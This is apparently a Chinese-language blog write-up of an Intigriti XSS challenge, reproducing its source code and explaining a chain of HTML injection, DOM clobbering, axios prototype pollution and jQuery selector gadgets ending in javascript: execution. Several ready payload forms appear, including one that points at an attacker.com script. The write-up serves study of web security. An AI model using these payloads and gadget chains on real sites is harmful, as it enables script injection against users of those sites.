一次典型xss的多漏洞利用链

前言

好久没做做xss了,当然与其说做,其实也就是看看大佬咋打的,思路如何产生,见识更多的打法,个人感觉xss的打法挺有美感的hh,怪不得老外这么喜欢

这里看一道题,详见

解法很多人写了,都可以看看

学习

这道题是有附件的:https://challenge-0124.intigriti.io/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
<%- include("inc/header"); %>
<h2>Hey <%- name %>,<br>Which repo are you looking for?</h2>

<form id="search">
<input name="q" value="<%= search %>">
</form>

<hr>

<img src="/static/img/loading.gif" class="loading" width="50px" hidden><br>
<img class="avatar" width="35%">
<p id="description"></p>
<iframe id="homepage" hidden></iframe>

<script src="/static/js/axios.min.js"></script>
<script src="/static/js/jquery-3.7.1.min.js"></script>
<script>
function search(name) {
$("img.loading").attr("hidden", false);

axios.post("/search", $("#search").get(0), {
"headers": { "Content-Type": "application/json" }
}).then((d) => {
$("img.loading").attr("hidden", true);
const repo = d.data;
if (!repo.owner) {
alert("Not found!");
return;
};

$("img.avatar").attr("src", repo.owner.avatar_url);
$("#description").text(repo.description);
if (repo.homepage && repo.homepage.startsWith("https://")) {
$("#homepage").attr({
"src": repo.homepage,
"hidden": false
});
};
});
};

window.onload = () => {
const params = new URLSearchParams(location.search);
if (params.get("search")) search();

$("#search").submit((e) => {
e.preventDefault();
search();
});
};
</script>
</body>
</html>

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
const createDOMPurify = require("dompurify");
const repos = require("./repos.json");
const { JSDOM } = require("jsdom");
const express = require("express");
const path = require("path");

// App config
const app = express();
app.set("view engine", "ejs");
app.set('view cache', false);
app.use(express.json());
const PORT = 3000;

const window = new JSDOM("").window;
const DOMPurify = createDOMPurify(window);

// Middlewares
app.use("/static", express.static(path.join(__dirname, "static")));

// Routes
app.get("/", (req, res) => {
if (!req.query.name) {
res.render("index");
return;
}
res.render("search", {
name: DOMPurify.sanitize(req.query.name, { SANITIZE_DOM: false }),
search: req.query.search
});
});

app.post("/search", (req, res) => {
name = req.body.q;
repo = {};

for (let item of repos.items) {
if (item.full_name && item.full_name.includes(name)) {
repo = item
break;
}
}
res.json(repo);
});

// Run
app.listen(PORT, () => {
console.log(`App listening on port ${PORT}!`)
});

这里对两个第三方库留个心眼,这里有供应链漏洞(类似的洞的poc可以去github上翻,总结下来不少)

先进行我们的一层的理解~`DOMPurify.sanitize(req.query.name, { SANITIZE_DOM: false })`

以前学过xss突变,但是感觉实际能考这个的比较少,这里用DOMPurify.sanitize+SANITIZE_DOM: false=> DOMPurify 将不再拦截所有会更改 DOM 结构对象属性的危险标签属性

这里我们就要意思到可html注入打“DOM Clobbering” ——一种通过 HTML 标签属性覆盖 Document 或元素属性的攻击方式。

举个例子,当我们简单<img name="body">=>document.body 被替换成这个 image 元素

也就是说出题人留了这么一个html注入的口子

axios

axios这个第三方库干什么呢?

1
2
3
Axios 是一个基于 promise 的 HTTP 库,可以用在浏览器和 node.js 中
axios的作用是什么呢?
axios主要是用于向后台发起请求的,还有在请求中做更多是可控功能。

这个第三方库会从一个 <form> DOM 元素读取 input name & value,然后拼出一个 JSON 对象。

因为开发者不想再手写:

1
2
3
4
{
username: document.querySelector("input[name=username]").value,
password: document.querySelector("input[name=password]").value
}

Axios 想帮你自动完成:

把 HTML Form → JSON Body 的过程自动化。

而这种表单=>json格式,如果不加以过滤的话,会产生原型链污染~

这里有个小demo

1
2
3
4
5
6
7
8
9
10
<form id="f">
<input name="__proto__[polluted]" value="1">
</form>

<script src="https://cdnjs.cloudflare.com/ajax/libs/axios/1.6.3/axios.js"></script>

<script>
axios.formToJSON(document.getElementById("f"));
alert(({}).polluted); // 1 被污染
</script>

而且

1
2
3
axios.post("/search", $("#search").get(0), {
"headers": { "Content-Type": "application/json" }
}).then((d) =>

这里不经思考axios的baseurl是什么呢?

(e=qe(this.defaults,e)).baseURL,e.url),e.截取一截,确实存在

这里可以html注入->原型链污染->控制serach的返回结果

1
2
3
<form id="search">
<input name="__proto__.baseURL" value="data:,{}#">
</form>

为什么用search包裹呢?

1
2
3
4
$("#search").submit((e) => {
e.preventDefault();
search();
});

这里直接控制了返回结果!

jquery

jQuery是JavaScript的一个工具库,工具库就是指封装好的JavaScript函数,可以直接在程序中进行调用,那jQuery就是一款非常流行的JavaScript库。jQuery设计的宗旨是“写更少的代码,做更多的事情”。

jQuery库封装了JavaScript常用的功能代码,提供一种简便的JavaScript设计模式,优化HTML文档操作、事件处理、动画设计和Ajax交互。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$("img.loading").attr("hidden", true);
const repo = d.data;
if (!repo.owner) {
alert("Not found!");
return;
};

$("img.avatar").attr("src", repo.owner.avatar_url);
$("#description").text(repo.description);
if (repo.homepage && repo.homepage.startsWith("https://")) {
$("#homepage").attr({
"src": repo.homepage,
"hidden": false
});
};
  • jQuery 核心 API<font style="color:rgb(0, 0, 0);">$()</font>(元素选择)、<font style="color:rgb(0, 0, 0);">attr()</font>(属性操作)、<font style="color:rgb(0, 0, 0);">text()</font>(文本操作),是前端开发中 “操作 DOM” 的经典用法。

这里提供了一个如下功能

1
2
3
4
5
将 “加载中” 图片的hidden属性设为true,隐藏该图片(表示加载完成或无需显示)。
确保repo数据的完整性,若关键的owner信息缺失,直接提示并退出,避免后续代码报错。
从repo.owner中提取头像 URL(avatar_url),将其赋值给头像图片的src属性,实现头像加载。
将repo中的描述信息(description)填充到页面的描述区域。
安全校验链接后,将官网地址赋值给目标元素并显示,避免无效或不安全链接加载。

我们如果可以控制search的结果自然可以返回一个恶意构造的json格式

关键还是在$("img.avatar").attr("src", repo.owner.avatar_url);

我们构造data:,{"owner":{"avatar_url":"javascript:alert(1)"}}#

这样似乎能触发javascript伪协议?并非,这里只是img

所以还是要借助jquery的供应链漏洞~

打法

1
2
3
4
5
<img name="namespaceURI">
成功Clobbing
document.namespaceURI = <img element>
导致 jQuery 误以为:
“这是一个 XML 文档,不是 HTML。”

然后该库会进行如下操作

1
2
3
4
5
6
7
于是它不走 optimized 查找流程,而会走:

✔ jQuery.select() → 可被污染
✔ 使用 tokenized selector → 可被 cache 覆盖
✔ relative matcher → 可劫持

这是整题最关键的触发器。

攻击目标:让任何 selector 匹配我们想让它匹配的元素(iframe)。

因为 iframe 支持 js: 协议,所以是最终 XSS 的必经之路。

为了做到:$("img.avatar") → 返回 iframe,需进行下述污染

1
2
3
4
5
6
7
8
9
10
11
__proto__["TAG"][dir] = "ownerDocument"
__proto__["TAG"][next] = "parentNode"
__proto__["CLASS"][dir] = "nextSibling"
__proto__["CLASS"][first] = "true"

让所有 selector 都“相对匹配”
所有节点都会被遍历
matcher 被 forced 触发
最终 selector 匹配 所有元素
然后:
$("img.avatar") 返回所有元素,包括 iframe

这里$("img.avatar").attr("src", repo.owner.avatar_url);知道.attr类似element.setAttribute("src", value)

即设置了iframe.src我们知道这里是可以触发伪协议的~

总览

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
HTML Injection

DOM Clobbering (namespaceURI)

Axios Prototype Pollution (__proto__.baseURL)

Control Axios response via data:, JSON

Pollute jQuery selector system

Make $("img.avatar") match iframe

iframe.src = "javascript:alert(1)"

XSS

很建议大家看看wp,更细节的讲了一下供应链洞咋来的

而且这道题也有如下打法-原型链污染一出,一堆打法hh

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<form id=search>
<input name="__proto__.owner" value="x">
<input name="__proto__.homepage" value="https://attacker.com/xss.js">
</form>

<form id="search">
<input name="__proto__.[srcdoc]" value="<script>alert(parent.window.location.origin)</script>">
<input name="__proto__.[srcdoc]" value="">
<input name="__proto__.homepage" value="https://example.com">
<input name="__proto__.owner.avatar_url" value="true">
</form>

<form id="search">
<input name="q" value="siege-media/contrast-ratio">
<input type="text" name="__proto__.srcdoc=test" value="test"/>
<input type="text" name="__proto__.srcdoc" value="<script>alert(1)</script>"/>
</form>

<svg>
<image id=homepage>
</svg>
<form id=search>
<input name=__proto__.owner value=polluted>
<input name=__proto__.homepage value=https://example.com>
<input name=__proto__.href value=x>
<input name=__proto__.onerror value=alert(origin)>
</form>

<form id="search">
<input name="q" value="angular/material-start">
<input name="__proto__.ONLOAD" value="alert()"/>
</form>

最值得关注的是这个

1
2
3
4
5
6
7
8
9
10
<form id="search">
<input name="__proto__.needsContext" value="x" id="y" />
<input
name="__proto__.selector[]"
value="<img/src/onerror=alert(document.domain)>"
/>
<input name="__proto__.handler[]" value="" />
<input name="__proto__.delegateType" value="focus" />
<input name="__proto__.owner" value="x" />
</form>

发现了一个 全新的 jQuery Prototype Pollution Gadget

1
2
3
4
5
6
7
8
9
10
污染 jQuery 的 event handler 内部结构 → 控制 handleObj.selector → 让 jQuery 在内部调用 jQuery(sel) 时把 sel 当作 HTML 解析 → 触发 innerHTML sink → XSS。
这条链和另外两条完全不一样——它利用的是:
jQuery event system(事件系统)
jQuery.handler / handleObj 结构
jQuery 的内部 selector→parseHTML→innerHTML 机制
For..in + Prototype Pollution
NeedsContext 判断绕过
Array.toString() → 自动拼出 HTML 字符串
这是一个 Pure JavaScript Gadget Chain。
攻击点不依赖 iframe、不依赖 src 或 srcdoc,也不依赖 attr()。

这里不做分析了,总结如下

1
2
3
一句话高度总结 @joaxcar 的打法
污染 jQuery 的事件系统,控制内部 selector,使 jQuery 在内部对 HTML 字符串执行 parseHTML,从而通过 innerHTML sink 触发 XSS。
这是一个真正的 Prototype Pollution → jQuery Gadget → XSS 漏洞链。

这些师傅各个都是xss高手啊xm

结语

真的很优雅,是我打不出来的操作()

这里推荐一些供应链安全的仓库